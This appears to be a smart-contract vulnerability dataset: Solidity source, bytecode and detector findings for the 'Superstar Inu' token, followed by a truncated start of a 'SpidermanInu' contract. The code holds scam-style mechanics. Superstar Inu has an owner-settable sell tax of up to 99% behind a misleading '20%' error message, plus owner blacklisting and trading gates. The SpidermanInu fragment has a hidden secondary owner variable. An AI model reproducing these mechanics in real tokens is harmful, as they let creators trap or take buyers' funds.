) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SuperstarInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Superstar Inu";
string private constant _symbol = "SSI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xeD87CBaA739D4849082B291c478427B76d88391c);
address payable private _marketingAddress = payable(0xef42dbc877722Ec5376BFA0C506030c6CF30AFBe);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 15000000000 * 10**9;
uint256 public _maxWalletSize = 30000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 99, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf7146104515780638f9a55c01461047157806395d89b411461048757806398a5c315146104b357600080fd5b80637d1db4a5146103f05780637f2feddc146104065780638da5cb5b1461043357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038657806370a082311461039b578063715018a6146103bb57806374010ece146103d057600080fd5b8063313ce5671461030a57806349bd5a5e146103265780636b999053146103465780636d8aa8f81461036657600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611aec565b6105fe565b005b34801561020a57600080fd5b5060408051808201909152600d81526c53757065727374617220496e7560981b60208201525b60405161023d9190611bb1565b60405180910390f35b34801561025257600080fd5b50610266610261366004611c06565b61069d565b604051901515815260200161023d565b34801561028257600080fd5b50601454610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50683635c9adc5dea000005b60405190815260200161023d565b3480156102e057600080fd5b506102666102ef366004611c32565b6106b4565b34801561030057600080fd5b506102c660185481565b34801561031657600080fd5b506040516009815260200161023d565b34801561033257600080fd5b50601554610296906001600160a01b031681565b34801561035257600080fd5b506101fc610361366004611c73565b61071d565b34801561037257600080fd5b506101fc610381366004611ca0565b610768565b34801561039257600080fd5b506101fc6107b0565b3480156103a757600080fd5b506102c66103b6366004611c73565b6107fb565b3480156103c757600080fd5b506101fc61081d565b3480156103dc57600080fd5b506101fc6103eb366004611cbb565b610891565b3480156103fc57600080fd5b506102c660165481565b34801561041257600080fd5b506102c6610421366004611c73565b60116020526000908152604090205481565b34801561043f57600080fd5b506000546001600160a01b0316610296565b34801561045d57600080fd5b506101fc61046c366004611ca0565b6108d0565b34801561047d57600080fd5b506102c660175481565b34801561049357600080fd5b5060408051808201909152600381526253534960e81b6020820152610230565b3480156104bf57600080fd5b506101fc6104ce366004611cbb565b610918565b3480156104df57600080fd5b506101fc6104ee366004611cd4565b610947565b3480156104ff57600080fd5b5061026661050e366004611c06565b610afd565b34801561051f57600080fd5b5061026661052e366004611c73565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc610b0a565b34801561056457600080fd5b506101fc610573366004611d06565b610b5e565b34801561058457600080fd5b506102c6610593366004611d8a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611cbb565b610bff565b3480156105ea57600080fd5b506101fc6105f9366004611c73565b610c2e565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611dc3565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611df8565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611e24565b915050610634565b5050565b60006106aa338484610d18565b5060015b92915050565b60006106c1848484610e3c565b610713843361070e85604051806060016040528060288152602001611f3e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611378565b610d18565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611dc3565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611dc3565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e557506013546001600160a01b0316336001600160a01b0316145b6107ee57600080fd5b476107f8816113b2565b50565b6001600160a01b0381166000908152600260205260408120546106ae906113ec565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161062890611dc3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161062890611dc3565b674563918244f400008111156107f857601655565b6000546001600160a01b031633146108fa5760405162461bcd60e51b815260040161062890611dc3565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109425760405162461bcd60e51b815260040161062890611dc3565b601855565b6000546001600160a01b031633146109715760405162461bcd60e51b815260040161062890611dc3565b60048411156109d05760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610628565b6014821115610a2c5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610628565b6004831115610a8c5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610628565b6063811115610ae95760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610628565b600893909355600a91909155600955600b55565b60006106aa338484610e3c565b6012546001600160a01b0316336001600160a01b03161480610b3f57506013546001600160a01b0316336001600160a01b0316145b610b4857600080fd5b6000610b53306107fb565b90506107f881611470565b6000546001600160a01b03163314610b885760405162461bcd60e51b815260040161062890611dc3565b60005b82811015610bf9578160056000868685818110610baa57610baa611df8565b9050602002016020810190610bbf9190611c73565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bf181611e24565b915050610b8b565b50505050565b6000546001600160a01b03163314610c295760405162461bcd60e51b815260040161062890611dc3565b601755565b6000546001600160a01b03163314610c585760405162461bcd60e51b815260040161062890611dc3565b6001600160a01b038116610cbd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d7a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610ddb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ea05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610f025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610f645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610f9057506000546001600160a01b03838116911614155b1561127157601554600160a01b900460ff16611029576000546001600160a01b038481169116146110295760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b60165481111561107b5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff161580156110bd57506001600160a01b03821660009081526010602052604090205460ff16155b6111155760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b6015546001600160a01b0383811691161461119a5760175481611137846107fb565b6111419190611e3f565b1061119a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b60006111a5306107fb565b6018546016549192508210159082106111be5760165491505b8080156111d55750601554600160a81b900460ff16155b80156111ef57506015546001600160a01b03868116911614155b80156112045750601554600160b01b900460ff165b801561122957506001600160a01b03851660009081526005602052604090205460ff16155b801561124e57506001600160a01b03841660009081526005602052604090205460ff16155b1561126e5761125c82611470565b47801561126c5761126c476113b2565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112b357506001600160a01b03831660009081526005602052604090205460ff165b806112e557506015546001600160a01b038581169116148015906112e557506015546001600160a01b03848116911614155b156112f25750600061136c565b6015546001600160a01b03858116911614801561131d57506014546001600160a01b03848116911614155b1561132f57600854600c55600954600d555b6015546001600160a01b03848116911614801561135a57506014546001600160a01b03858116911614155b1561136c57600a54600c55600b54600d555b610bf9848484846115f9565b6000818484111561139c5760405162461bcd60e51b81526004016106289190611bb1565b5060006113a98486611e57565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156114535760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b600061145d611627565b9050611469838261164a565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114b8576114b8611df8565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150c57600080fd5b505afa158015611520573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115449190611e6e565b8160018151811061155757611557611df8565b6001600160a01b03928316602091820292909201015260145461157d9130911684610d18565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b6908590600090869030904290600401611e8b565b600060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806116065761160661168c565b6116118484846116ba565b80610bf957610bf9600e54600c55600f54600d55565b60008060006116346117b1565b9092509050611643828261164a565b9250505090565b600061146983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117f3565b600c5415801561169c5750600d54155b156116a357565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116cc87611821565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116fe908761187e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172d90866118c0565b6001600160a01b03891660009081526002602052604090205561174f8161191f565b6117598483611969565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179e91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117cd828261164a565b8210156117ea57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118145760405162461bcd60e51b81526004016106289190611bb1565b5060006113a98486611efc565b600080600080600080600080600061183e8a600c54600d5461198d565b925092509250600061184e611627565b905060008060006118618e8787876119e2565b919e509c509a509598509396509194505050505091939550919395565b600061146983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611378565b6000806118cd8385611e3f565b9050838110156114695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b6000611929611627565b905060006119378383611a32565b3060009081526002602052604090205490915061195490826118c0565b30600090815260026020526040902055505050565b600654611976908361187e565b60065560075461198690826118c0565b6007555050565b60008080806119a760646119a18989611a32565b9061164a565b905060006119ba60646119a18a89611a32565b905060006119d2826119cc8b8661187e565b9061187e565b9992985090965090945050505050565b60008080806119f18886611a32565b905060006119ff8887611a32565b90506000611a0d8888611a32565b90506000611a1f826119cc868661187e565b939b939a50919850919650505050505050565b600082611a41575060006106ae565b6000611a4d8385611f1e565b905082611a5a8583611efc565b146114695760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f857600080fd5b8035611ae781611ac7565b919050565b60006020808385031215611aff57600080fd5b823567ffffffffffffffff80821115611b1757600080fd5b818501915085601f830112611b2b57600080fd5b813581811115611b3d57611b3d611ab1565b8060051b604051601f19603f83011681018181108582111715611b6257611b62611ab1565b604052918252848201925083810185019188831115611b8057600080fd5b938501935b82851015611ba557611b9685611adc565b84529385019392850192611b85565b98975050505050505050565b600060208083528351808285015260005b81811015611bde57858101830151858201604001528201611bc2565b81811115611bf0576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1957600080fd5b8235611c2481611ac7565b946020939093013593505050565b600080600060608486031215611c4757600080fd5b8335611c5281611ac7565b92506020840135611c6281611ac7565b929592945050506040919091013590565b600060208284031215611c8557600080fd5b813561146981611ac7565b80358015158114611ae757600080fd5b600060208284031215611cb257600080fd5b61146982611c90565b600060208284031215611ccd57600080fd5b5035919050565b60008060008060808587031215611cea57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1b57600080fd5b833567ffffffffffffffff80821115611d3357600080fd5b818601915086601f830112611d4757600080fd5b813581811115611d5657600080fd5b8760208260051b8501011115611d6b57600080fd5b602092830195509350611d819186019050611c90565b90509250925092565b60008060408385031215611d9d57600080fd5b8235611da881611ac7565b91506020830135611db881611ac7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3857611e38611e0e565b5060010190565b60008219821115611e5257611e52611e0e565b500190565b600082821015611e6957611e69611e0e565b500390565b600060208284031215611e8057600080fd5b815161146981611ac7565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611edb5784516001600160a01b031683529383019391830191600101611eb6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3857611f38611e0e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220691c02f66755f59fa8cc93bf5581d0a73f5440da7972ca7d12758d8462d02d8164736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 1,917 |
0xfa5739aaac7cc87470e865864e44a57694c24756 | pragma solidity ^0.6.12;
// tg: SpidermanInu
// Join the telegram for more info
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
